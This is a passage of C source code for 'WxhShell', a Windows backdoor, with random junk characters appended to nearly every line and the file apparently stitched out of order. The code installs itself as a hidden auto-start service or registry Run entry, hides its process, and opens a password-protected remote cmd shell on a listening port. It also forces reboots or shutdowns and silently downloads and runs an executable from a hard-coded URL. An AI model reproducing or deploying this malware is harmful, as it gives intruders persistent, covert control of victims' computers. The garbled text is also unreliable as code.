    } i[4!% FxB  
    break; {Hie% 2V  
    } *~~J1.ja>  
  // 关机 Dm%Q96*VAq  
  case 'd': { Es- =0gpK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vmv6y*qU  
    if(Boot(SHUTDOWN)) 0 . UN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); baBPf{<  
    else { Q;ZV`D/FA  
    closesocket(wsh); e7y,zcbv  
    ExitThread(0); SQ*%d.1  
    } c'XSs  
    break; xU2i&il^!  
    } Jz4;7/  
  // 获取shell odDVdVx0  
  case 's': { 8>G5VhCm~o  
    CmdShell(wsh); ex#-,;T  
    closesocket(wsh); <`WDNi$Y  
    ExitThread(0); l9]nrT1Hy  
    break; >(_2'c*[w  
  } +xAD;A4  
  // 退出 -'}#j\  
  case 'x': { _>a`dp.19  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yRi5t{!V  
    CloseIt(wsh); mo9(2@~<  
    break; @HTs.4  
    } L{GlDoFk  
  // 离开 h@]{j_$u  
  case 'q': { i1X!G|Awfv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L8f_^ *,  
    closesocket(wsh); D-D8La?0p  
    WSACleanup(); ]yQqx*  
    exit(1); tSY4'  
    break; Ve qB/Q X  
        } "!& o|!2  
  } I]HLWF  
  } 7Le- f  
P8#_E{f  
  // 提示信息 \[|X^8j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %__ @G_M  
} P)LQ=b}V#;  
  } wz@[rMf  
,gW$m~\  
  return; ++UxzUd  
} FRL;fF  
txm6[Io  
// shell模块句柄 'f0R/6h\3s  
int CmdShell(SOCKET sock) ;1s;"  
{ Vx:uqzw#  
STARTUPINFO si; mE=Tj%+ x  
ZeroMemory(&si,sizeof(si)); 2"k|IHs1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H@1qU|4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -GCU6U|  
PROCESS_INFORMATION ProcessInfo; R5mb4  
char cmdline[]="cmd"; i!fk'Yt%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {MN6JGb|'  
  return 0; YzJWS|]  
} p.<d+S<  
:?}> Q  
// 自身启动模式 `9k\~D=D~  
int StartFromService(void) 3''Uxlo\  
{ A/&u /?*C  
typedef struct \acGSW .c  
{ ny!80I  
  DWORD ExitStatus; 8Ht=B,7T  
  DWORD PebBaseAddress; M04u>| ,  
  DWORD AffinityMask; IF@vl  
  DWORD BasePriority; 5!wjYQt3  
  ULONG UniqueProcessId; cmYzS6f,7  
  ULONG InheritedFromUniqueProcessId; VD $PoP  
}   PROCESS_BASIC_INFORMATION;  %{UW!/  
)Jw$&%/{1  
PROCNTQSIP NtQueryInformationProcess; oLtzPC  
[S-#}C?~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ;\f0II3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9xK#( M  
bdvpH DA  
  HANDLE             hProcess; WRRR"Q$  
  PROCESS_BASIC_INFORMATION pbi; !b+!] 2~g}  
P(o>UDy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T!pA$eE  
  if(NULL == hInst ) return 0; rWqr-"0S.  
Z#l6BXK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Iz JJp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (LMT'   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4N1)+ W8k*  
 ;5  
  if (!NtQueryInformationProcess) return 0; :T>OJ"p  
i7rk%q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2f{a||  
  if(!hProcess) return 0; KxBvL[/  
xX0 wn?,~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {iCX?Sb  
sk_xQo#Y 3  
  CloseHandle(hProcess); gxJ12' m  
h`eHoKJ#w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h Fan$W$  
if(hProcess==NULL) return 0; b\kA  
kIe)ocJg  
HMODULE hMod; qv >l  
char procName[255]; Y4lNxvY  
unsigned long cbNeeded; |VjD. ]I  
Z 0v&AD=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &T ^bv*P  
% .ss  
  CloseHandle(hProcess); '|*e4n  
C[l5[DpH  
if(strstr(procName,"services")) return 1; // 以服务启动 b_u; `^  
bA'N2~.,  
  return 0; // 注册表启动 hSN38wy  
} ><. *5q  
)nq(XM7  
// 主模块 !w0=&/Y{R  
int StartWxhshell(LPSTR lpCmdLine) U7e2NES  
{ 'Q=(1a11  
  SOCKET wsl; 4Me3{!HJz  
BOOL val=TRUE; S\GxLW@x  
  int port=0; _EP~PW#J  
  struct sockaddr_in door; T.B7QAI. H  
ytb1hFs  
  if(wscfg.ws_autoins) Install(); S)'&+HamI  
ELg$tc  
port=atoi(lpCmdLine); sXT8jLIf  
+tG'  
if(port<=0) port=wscfg.ws_port; \.GA" _y  
1=z\,~ b  
  WSADATA data; CL?=j| Ea  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L$"pk{'  
a] 6d hQ`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U'Y,T$Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ttt4h  
  door.sin_family = AF_INET; !9.\A:G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +1\t 0P24  
  door.sin_port = htons(port); G_WHW(8   
W@%g_V}C*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o3NB3@uj<  
closesocket(wsl);  `=B v+  
return 1; mtw{7 E  
} IJ:JH=8  
V@EyU/VJ  
  if(listen(wsl,2) == INVALID_SOCKET) { 5yj6MaqJ  
closesocket(wsl); .ezZ+@LI+#  
return 1; *Uf>Xr&  
} hM=X# ;  
  Wxhshell(wsl); ER}5`*X{  
  WSACleanup(); d6 9dC*>  
M6V^ur 1  
return 0; Kw:%B|B<T  
dl`{:ZR S  
} 9A|9:OdG1  
)t:8;;W@Ir  
// 以NT服务方式启动 2r]o>X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :2XX~|  
{ sv#b5,>9  
DWORD   status = 0; s"2+H}u   
  DWORD   specificError = 0xfffffff; g0IvcA  
VCIV*5 P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I= cayR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PIoBKCJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^V]IPGV  
  serviceStatus.dwWin32ExitCode     = 0; A^zd:h-  
  serviceStatus.dwServiceSpecificExitCode = 0; Mp[2Auf  
  serviceStatus.dwCheckPoint       = 0; TZ}y%iU:mB  
  serviceStatus.dwWaitHint       = 0; YOA)paq+  
?V(+Cc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6!;D],,"#.  
  if (hServiceStatusHandle==0) return; "x0KiIoPk  
?N@[R];  
status = GetLastError(); zH#urF6<  
  if (status!=NO_ERROR) 5{vuN)K3  
{ 0h{&k7T<7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |8)\8b|VuC  
    serviceStatus.dwCheckPoint       = 0; IP)%y%ycw  
    serviceStatus.dwWaitHint       = 0; I%B\Wy/j^  
    serviceStatus.dwWin32ExitCode     = status; 2 i NZz  
    serviceStatus.dwServiceSpecificExitCode = specificError; K `A8N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X/m~^  
    return; ^f,%dM=i=  
  } Blj<|\ igc  
\6aisK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Tfm~+7nE  
  serviceStatus.dwCheckPoint       = 0; r$x;rL4  
  serviceStatus.dwWaitHint       = 0;  7mtg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jw0wR\1  
} hZ "Sqm]  
0JqvV  
// 处理NT服务事件,比如:启动、停止 eF' l_*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vY,D02 EMw  
{ \]dvwN3x  
switch(fdwControl) Z.s0ddM s  
{ (CJx Y(1K  
case SERVICE_CONTROL_STOP: A5_r(Z-5  
  serviceStatus.dwWin32ExitCode = 0; Ue"pNjd|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .kgt? r  
  serviceStatus.dwCheckPoint   = 0; X!@ Y ,  
  serviceStatus.dwWaitHint     = 0; "M^mJl&*b  
  { ySF^^X $J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y_~otoSoY  
  } |=V~CQ]  
  return; y'non0P.  
case SERVICE_CONTROL_PAUSE: >Pvz5Hf/wW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vskp1Wi(  
  break; wyLyPJv  
case SERVICE_CONTROL_CONTINUE: *9EW &Ek  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t >.=q:  
  break;  k)W&ZY  
case SERVICE_CONTROL_INTERROGATE: Dt iM}=:  
  break; dQO 5  
}; U\-R'Z>M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rZ2cC#  
} aP"!}*  
${gO=Z  
// 标准应用程序主函数 ?},RN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $ ?|;w,%I  
{ 8xkLfN|N=  
U *go}dt"5  
// 获取操作系统版本 I~;H'7|e  
OsIsNt=GetOsVer(); -zI9E!24  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ka<J* k3  
< Pi#-r.,  
  // 从命令行安装 tk>J mcTw  
  if(strpbrk(lpCmdLine,"iI")) Install(); M|{NC`fa  
0s RcA-9  
  // 下载执行文件 jdx T662q  
if(wscfg.ws_downexe) { ~=|QPO(d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p%K(dA  
  WinExec(wscfg.ws_filenam,SW_HIDE); t6lwKK  
} x0)WrDb  
>2X-98,  
if(!OsIsNt) { IaU%L6Q]  
// 如果时win9x,隐藏进程并且设置为注册表启动 & x_ #zN]  
HideProc(); Eh$1p iJG  
StartWxhshell(lpCmdLine); cH+ ~|3  
} hML-zZ   
else 0Q)YZ2  
  if(StartFromService()) cS Qb3}a\  
  // 以服务方式启动 Fh|{ib  
  StartServiceCtrlDispatcher(DispatchTable); yhs:.h  
else OB*V4Yv  
  // 普通方式启动 v-/vj/4>  
  StartWxhshell(lpCmdLine); $dA]GWW5A  
]b:>7_la  
return 0; 9Hd_sNUu\  
} ExeZj8U  
E=`/}2  
c5: X$k\  
Z[eWey_  
=========================================== 2( m#WK7>F  
qwO@>wQ}~  
N,3iSH=cN[  
cv7:5P  
fPPmUM^C9  
qB&Je$_uh  
" dP`B9>r  
sRqecG(n  
#include <stdio.h> uL^`uI#I  
#include <string.h> i4nFjz  
#include <windows.h> tBX71d T  
#include <winsock2.h> B-PX/Q  
#include <winsvc.h> 5L_`Fw\l  
#include <urlmon.h> d[XMQX  
"\ =Phqw   
#pragma comment (lib, "Ws2_32.lib") cLw|[!5:  
#pragma comment (lib, "urlmon.lib") `*D"=5G+  
,]]*}4[r  
#define MAX_USER   100 // 最大客户端连接数 8_"NF%%(n  
#define BUF_SOCK   200 // sock buffer (OA4H1DL^  
#define KEY_BUFF   255 // 输入 buffer )4m`Ya,E3  
kg\8 (@h]  
#define REBOOT     0   // 重启 <Y2$'ETD  
#define SHUTDOWN   1   // 关机 4u"Bll  
D2=zrU3Y64  
#define DEF_PORT   5000 // 监听端口 b};o:  
Rd|8=`)  
#define REG_LEN     16   // 注册表键长度 EdkIT|c{  
#define SVC_LEN     80   // NT服务名长度 z,4 D'F&  
oR/_{#Mz"  
// 从dll定义API \ Ce*5h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )a x>*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /?($W|9+l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;mvVo-r*q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +.OdrvN4)  
"?<h,Hvi  
// wxhshell配置信息 c*(^:#"9  
struct WSCFG { 't5`Ni  
  int ws_port;         // 监听端口 m^=El7+  
  char ws_passstr[REG_LEN]; // 口令 N/--6)5~0  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3!vzkBr  
  char ws_regname[REG_LEN]; // 注册表键名 ?~!9\dek,  
  char ws_svcname[REG_LEN]; // 服务名 n?;rWq"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QR_h#N2h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x0:BxRx*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I~&9c/&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ?r@^9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gh@~~\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P;mp)1C  
Bv' %$}}-  
}; j<k6z   
|"I)1[7  
// default Wxhshell configuration yMTO5~U{  
struct WSCFG wscfg={DEF_PORT, `48Ql  
    "xuhuanlingzhe", Y]](.\ff  
    1, 4e#$ -V   
    "Wxhshell", w6WPfy(/2  
    "Wxhshell", )%3T1 D/  
            "WxhShell Service", j@ D,2B;  
    "Wrsky Windows CmdShell Service", .T3 m%n  
    "Please Input Your Password: ", XM,slQ  
  1, q b/}&J7+  
  "http://www.wrsky.com/wxhshell.exe", o. ;Vrc  
  "Wxhshell.exe" ^_<|~  
    }; o:fe`#t  
Y#tur`N  
// 消息定义模块 y&-QLX L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nosD1sS.K8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B4wRwrVI>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [ ~2imS  
char *msg_ws_ext="\n\rExit."; j49Uj}:j  
char *msg_ws_end="\n\rQuit."; $LFL4Q  
char *msg_ws_boot="\n\rReboot..."; 2J8:_Ql3I  
char *msg_ws_poff="\n\rShutdown..."; u+KZ. n/  
char *msg_ws_down="\n\rSave to "; J9p4\=9  
H;l_;c`  
char *msg_ws_err="\n\rErr!"; -Ou.C7ol  
char *msg_ws_ok="\n\rOK!"; 2vX $:4  
8W?dWj  
char ExeFile[MAX_PATH]; 7t:tS7{}  
int nUser = 0; stBe ^C  
HANDLE handles[MAX_USER]; Z0m`%(MJa  
int OsIsNt; |K06H ?6X  
v{fcQb  
SERVICE_STATUS       serviceStatus; ii-AE L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >3Q|k{97  
?1a9k@[t  
// 函数声明 ne/JC(  
int Install(void); F_jHi0A  
int Uninstall(void); \m G Y'0  
int DownloadFile(char *sURL, SOCKET wsh); $2L6:&.P,  
int Boot(int flag); 6CIzT.  
void HideProc(void); -p.\fvip  
int GetOsVer(void); ZcQu9XDIt  
int Wxhshell(SOCKET wsl); DQm%=ON7  
void TalkWithClient(void *cs); e)g &q'O  
int CmdShell(SOCKET sock); n=vDEX:'  
int StartFromService(void); *{!Y_FrL  
int StartWxhshell(LPSTR lpCmdLine); hW< v5!,  
@q q"X'3t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wi'}d6c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HOF$(86zqA  
C?T\5}h  
// 数据结构和表定义 G+t:]\  
SERVICE_TABLE_ENTRY DispatchTable[] = &Xqxuy ]J  
{ Xa?O)Bq.  
{wscfg.ws_svcname, NTServiceMain}, ng"=vmu  
{NULL, NULL} ?(R3%fU  
}; Es%f@$0uy  
qul#)HI  
// 自我安装 dkZe.pv$j  
int Install(void) %BP>,E/w  
{ k[;)/LfhS  
  char svExeFile[MAX_PATH]; <\u3p3"[4  
  HKEY key; D5D *$IC  
  strcpy(svExeFile,ExeFile); @we1#Vz.  
DylO;+  
// 如果是win9x系统,修改注册表设为自启动 C; N6",s!  
if(!OsIsNt) { YAOfuas]j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [49Cvde^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b j`\;_oo  
  RegCloseKey(key); YcN|L&R.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )ffaOS!\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nQjpJ /=  
  RegCloseKey(key); '\tI|  
  return 0; cR/Nl pX  
    } )hXTgUZa  
  } Gl1XRNy C  
} *;Mi/^pzK  
else { |'nQvn:{  
7"!b5(4=  
// 如果是NT以上系统,安装为系统服务 ^H3N1eC,`F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c MXv  
if (schSCManager!=0) m-vn5OX  
{ K)7T]z`  
  SC_HANDLE schService = CreateService l< f9$l^U  
  ( 8(L$a1#5W  
  schSCManager, /I=|;FGq  
  wscfg.ws_svcname, X8$Mzeq  
  wscfg.ws_svcdisp, >u&D@7~c  
  SERVICE_ALL_ACCESS, .d]/:T -0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h|CZ ~  
  SERVICE_AUTO_START, IR6W'vA  
  SERVICE_ERROR_NORMAL, @MES.g  
  svExeFile, / \w4k  
  NULL, f^ui Zb  
  NULL, 4]h/t&ppq  
  NULL, tDX& ~1s  
  NULL, pj$JA  
  NULL qk2E>  
  ); s5nw<V9$]  
  if (schService!=0) -3{Q`@F  
  { )!2@v@SQ  
  CloseServiceHandle(schService); kGYpJg9=  
  CloseServiceHandle(schSCManager); b&:v6#i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _x,X0ncv]@  
  strcat(svExeFile,wscfg.ws_svcname); r exv)!J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d_yvG.#C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aDF@A S  
  RegCloseKey(key); @:C)^f"  
  return 0; :> 0ywg  
    } pAE (i7  
  } yV(#z2|  
  CloseServiceHandle(schSCManager); 79v+ze  
} ,|:.0g[n  
} qzUiBwUi@  
y2jv84 M  
return 1; _O`p(6  
} h0tiWHw  
R^l0Bu]X  
// 自我卸载  '"B  
int Uninstall(void) MJXnAIG?2  
{ 6]brL.eGj  
  HKEY key; e*7O!Z=O  
vB8$Qx\J  
if(!OsIsNt) { ,|A^ <R`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SGWb*grt  
  RegDeleteValue(key,wscfg.ws_regname); ]<;7ZNG"Y5  
  RegCloseKey(key); _z@/~M(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { msBoInhI  
  RegDeleteValue(key,wscfg.ws_regname); MzIDeZ  
  RegCloseKey(key); EN!C5/M{&  
  return 0; g,Ob/g8uc  
  } .q9Sg8G  
} E>bkEm  
} 5whW>T  
else { pU7;!u:c4%  
v`A)GnNiN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |OH*c3~r  
if (schSCManager!=0) r mX*s} B  
{ Hd~g\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /mkT7,]  
  if (schService!=0) Y) sB]!hx  
  { )p\`H;7*V4  
  if(DeleteService(schService)!=0) { {A0jkU  
  CloseServiceHandle(schService); J!uG/ Us  
  CloseServiceHandle(schSCManager); os/h~,=  
  return 0; fsL9d}  
  } @+b$43 ^  
  CloseServiceHandle(schService); f24W*#IX  
  } q/EX`%U  
  CloseServiceHandle(schSCManager); ]-\68bN  
} 4z<c8 E8  
} xMjhC;i{  
<_Yd N)x  
return 1; u7< +)6-  
} KU|W85ye  
gi!_Nz  
// 从指定url下载文件 m _)-  
int DownloadFile(char *sURL, SOCKET wsh) wN[lC|1c  
{ #X-C~*|>j  
  HRESULT hr; dn 6]qW5  
char seps[]= "/"; g *Js4  
char *token; Cbff:IP  
char *file; 5#.m'a)  
char myURL[MAX_PATH]; Jt8;ddz  
char myFILE[MAX_PATH]; \s)MN s  
pJHdY)Cz  
strcpy(myURL,sURL); UIAazDyC  
  token=strtok(myURL,seps); vbid>$%  
  while(token!=NULL) |T<aWZb^=  
  { #]}Ii{1?Y  
    file=token; `+,?%W)  
  token=strtok(NULL,seps); L`nW&; w'  
  } 5 A0]+)5E8  
 0s;~9>  
GetCurrentDirectory(MAX_PATH,myFILE); xS|9Gk  
strcat(myFILE, "\\"); _.s ,gX  
strcat(myFILE, file); Qt.*Z;Gs  
  send(wsh,myFILE,strlen(myFILE),0); s5*4<VxQN.  
send(wsh,"...",3,0); `%Ih'(ne  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VIAq$iu7  
  if(hr==S_OK) ?|5M'o|9  
return 0; &#PPXwmR  
else 2.^{4 1:  
return 1; r&LZH.$oh  
v'hc-Q9+>  
} }097[-g7  
v2;E Wp  
// 系统电源模块 'zUV(K?2]  
int Boot(int flag) |m's)  
{ OJe!K:  
  HANDLE hToken; Y<T0yl?  
  TOKEN_PRIVILEGES tkp; </25J((  
:E")Zw&sW3  
  if(OsIsNt) { vkG#G]Qs";  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]+I9{%zB%8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9lq5\ tL-  
    tkp.PrivilegeCount = 1; .YF1H<gwa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !ZTghX}D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PNm@mC_fh  
if(flag==REBOOT) { |+Wn5iT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |ke0G  
  return 0; -64l f-<  
} /9_%NR[  
else { l#[Z$+!09  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AS;Sz/YP  
  return 0; yY#h 1  
} EXSJ@k6=8s  
  } 6{)pF  
  else { _^_3>}y5op  
if(flag==REBOOT) { og";mC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xT> 9ZZcE  
  return 0; V|YQhd0kv  
} 6:8s,a3&[k  
else { GN_L"|#)=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FAM{p=t]HT  
  return 0; Au2?f~#Fv  
} qx#M6\L!  
} YrL(4 Nt8  
UBL{3s^"  
return 1; Z1fY' f  
} F~Dof({:  
GQ1/pys  
// win9x进程隐藏模块 e=&~6bs1U  
void HideProc(void) ~xqiasE#K  
{ &PJ;B)b  
!.UE}^TV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *O[/KR%  
  if ( hKernel != NULL ) B?B OAH  
  { UNDl&C2vz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p$,G`'l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }#s{."  
    FreeLibrary(hKernel); Rw'}>?k]  
  } i|{psA  
ZLzc\>QX  
return; [63\2{_^v  
} 4. R(`#f  
HGYTh"R  
// 获取操作系统版本 >az~0PeEL  
int GetOsVer(void) =][ )|n  
{ RI*n]HNgy+  
  OSVERSIONINFO winfo; j sPavY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i8?oe%9l  
  GetVersionEx(&winfo); [!)HWgx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1J[$f>%n]  
  return 1; (xo`*Q,+  
  else LAC&W;pJ"  
  return 0; !yv>e7g^  
} cAN!5?D\  
:E-$:\V0}k  
// 客户端句柄模块 xn`)I>v  
int Wxhshell(SOCKET wsl) d92Z;FWb  
{ eKOEOm+  
  SOCKET wsh; BWxfY^,'&6  
  struct sockaddr_in client; O7 ;=g!j  
  DWORD myID; l 73% y  
)h@PRDI_  
  while(nUser<MAX_USER) /xUF@%rT  
{ Q\4tzb]  
  int nSize=sizeof(client); E3 % ~!ZC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t"B3?<?]  
  if(wsh==INVALID_SOCKET) return 1; s~{rC{9X  
)B]s.w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j4;^5 Dy^  
if(handles[nUser]==0) ?7fqWlB  
  closesocket(wsh); \:+\H0Bz  
else :!_l@=l  
  nUser++; n#6{K6}k~  
  } PE5*]+lW.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2|j=^  
t]SB .ja  
  return 0; -+[Lc_oNPx  
} X| \`\[  
:;_}Gxx  
// 关闭 socket _>vH%FY  
void CloseIt(SOCKET wsh) @RPQ 1da  
{ AZ(zM.y!#_  
closesocket(wsh); S`vt\g$ dN  
nUser--; {#kCqjWG  
ExitThread(0); LF7 }gQs ^  
} `<g]p-=":  
:m `D   
// 客户端请求句柄 t*= nI $  
void TalkWithClient(void *cs) >c_fUX={  
{ oJD]h/fQs  
U@q5`4-!8  
  SOCKET wsh=(SOCKET)cs; I\TSVJk^Xi  
  char pwd[SVC_LEN]; "m{i`<,  
  char cmd[KEY_BUFF]; OH06{I>;  
char chr[1]; Lk|`\I T  
int i,j; (nO2+@ !  
K+|XI|1p  
  while (nUser < MAX_USER) { pyV`O[  
#M~yt`R~  
if(wscfg.ws_passstr) { ogIu\kiZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EmaS/]X[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -r,v3n  
  //ZeroMemory(pwd,KEY_BUFF); [s$x"Ex  
      i=0; ?;oJ=.T  
  while(i<SVC_LEN) { MB;rxUbhe3  
B>1,I'/$.  
  // 设置超时 (W#CDw<ja  
  fd_set FdRead; 4 xqzdR_  
  struct timeval TimeOut; 0 7Yak<+~  
  FD_ZERO(&FdRead); w)|9iL8  
  FD_SET(wsh,&FdRead); pfZ[YC-  
  TimeOut.tv_sec=8; FdE?uw  
  TimeOut.tv_usec=0; hrnE5=iY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m!KEK\5M?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NxF:s,a6  
W!$U{=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Ogh-<|<  
  pwd=chr[0]; 3ibQbk  
  if(chr[0]==0xd || chr[0]==0xa) { LCSvw  
  pwd=0; G>"n6v'^d  
  break; 4AzDWK@/  
  } "Bwz Fh  
  i++; 0rL.~2)V  
    } @k{q[6c2 n  
o@N[O^Q V  
  // 如果是非法用户,关闭 socket 7 q!==P=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f3Zf97i  
} d`TiY`!  
3|!3R'g/ >  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }J6:D]Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZxSnqbyA*  
mKu,7nMvF  
while(1) { kSiyMDY-  
#/ePpSyD  
  ZeroMemory(cmd,KEY_BUFF); 7k,BE2]"  
Wu* 4r0  
      // 自动支持客户端 telnet标准   x2t&Wpvt  
  j=0; Q>Klkd5(  
  while(j<KEY_BUFF) { lr4wz(q<9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'k]~Q{K$  
  cmd[j]=chr[0]; JwxKWVpWv  
  if(chr[0]==0xa || chr[0]==0xd) { CyLwCS{V\  
  cmd[j]=0; =PY{Elf  
  break; UUDHknm"  
  } ZHjL8Iq  
  j++; VqvjOeCbH  
    } oh:9v+  
;v\s7y  
  // 下载文件 ip<VRC5`5  
  if(strstr(cmd,"http://")) {  :QP1!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c*7|>7C$i  
